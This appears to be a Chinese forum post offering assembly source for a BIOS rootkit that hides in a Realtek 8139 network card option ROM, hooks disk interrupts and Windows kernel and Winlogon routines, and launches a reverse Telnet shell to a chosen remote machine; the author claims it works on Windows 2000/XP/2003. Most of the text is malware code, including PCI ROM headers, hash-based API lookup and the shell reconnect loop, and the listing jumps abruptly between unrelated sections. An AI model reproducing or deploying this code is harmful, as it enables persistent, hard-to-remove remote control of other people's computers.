项目简述]
该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。
[项目涉及的相关知识及技术标题]
1、实验环境配置问题。
2、刷新BIOS技术问题。
3、代码植入BIOS问题。
4、源代码的相关问题:
A、如何编写BIOS模块如:PCI、ISA。
B、实模式关于HOOK磁盘中断的问题。
C、磁盘中断中选择再次HOOK的问题。
D、NT保护模式下设置物理地址映射。
E、NT保护模式下线性地址寻址问题。
F、HOOK KeAddSystemServiceTable。
G、HOOK NtUserRegisterClassExWOW。
H、HOOK Winlogon SASWndProc过程。
I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
5、源代码的其他技术:
A、IVThook InLineHook SSDT Hook
B、SEH PE PEB TIB
C、Hash SharedUserData CheckSum
6、......
以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!
调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装
win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR equ 07FFE0800h ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCode segment use16
Code16Start:
;***************************************************************************************************************************************** org 00h ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
dw 0AA55h ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
db ROM_IMAGE_SIZE*2 ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
jmp MyROMCodeStart ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
org 06h ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
ReturnOldROM: ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
db 0e9h,0,0 ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
db 'CHKSUM=',0 ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push es
push ds
sti ;打开中断,以便接收键盘输入.
mov cx,0ffffh ;等待,约为两二秒的按键消息.
call WaitPressScrollKey
.if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.
;***************************************************************************************************************************************** xor ax,ax
mov es,ax
mov eax,es:[19h*4]
mov es:[84h*4],eax ;借用中断向量84H,保存中断向量19H.
mov bx,es:[413h] ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
and bl,NOT 3 ;注意:要求分配的物理内存地址,以页作为基地址 .
sub bx,4
mov es:[413h],bx
shl bx,(10-4) ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
mov es,bx
xor di,di ;es:di -> 分配的实模式高端内存前半部分开始处.
push cs
pop ds
call GetCurrentAddr ;offset Code16End = offset Code32Start
GetCurrentAddr:
pop si ;si->GetCurrentAddr在内存的地址
mov dx,si
add si,Code16End - GetCurrentAddr ;ds:si->Code16End保护模式代码段内存的地址.
cld
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝保护模式代码数据到分配内存的前半部分.
rep movsd
add bx,100h
mov es,bx
xor di,di ;es:0->分配的实模式高端内存后半部分开始处.
mov si,dx
sub si,GetCurrentAddr - Code16Start
push ecx
mov edx,8885abf2h ;Hash("WaitForSingleObject")=8885abf2h
call PEApiHashFind
call eax ;WaitForSingleObject(Handle, time)
mov esp,ebp
mov ebx,edi ;ebx=kernel32基址
jmp TelnetShell_Strat ;for another connection
;ret
;*****************************************************************************************************************************************PEApiHashFind: ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
xor eax,eax
pushad
mov ecx,[ebx+3Ch] ;ecx = RVA of PE header
mov ebp,[ebx+ecx+78h] ;ebp = RVA of export directory
add ebp,ebx ;ebp -> ptr to export directory
mov ecx,[ebp+18h] ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
mov edi,[ebp+20h] ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
add edi,ebx
.while ecx > 0
dec ecx
mov esi,[edi+ecx*4]
add esi,ebx ;esi->API字符串在内存物理地址.
push edx
.repeat
lodsb
sub edx,eax
ror edx,7
.until eax == 0 ;字符结束
.if edx == 0
pop edx
.break
.endif
pop edx
.endw
.if ecx > 0
mov edx,[ebp+024h]
add edx,ebx ;AddressofOrdinals
mov cx,[edx+ecx*2]
mov eax,[ebp+01ch]
add eax,ebx ;AddressOfFunctions
add ebx,[eax+ecx*4]
mov [esp+1Ch], ebx ;overwrite saved EAX with ptr to export
.endif
popad
ret
;*****************************************************************************************************************************************Code32End: ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode ends ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
end Code16Start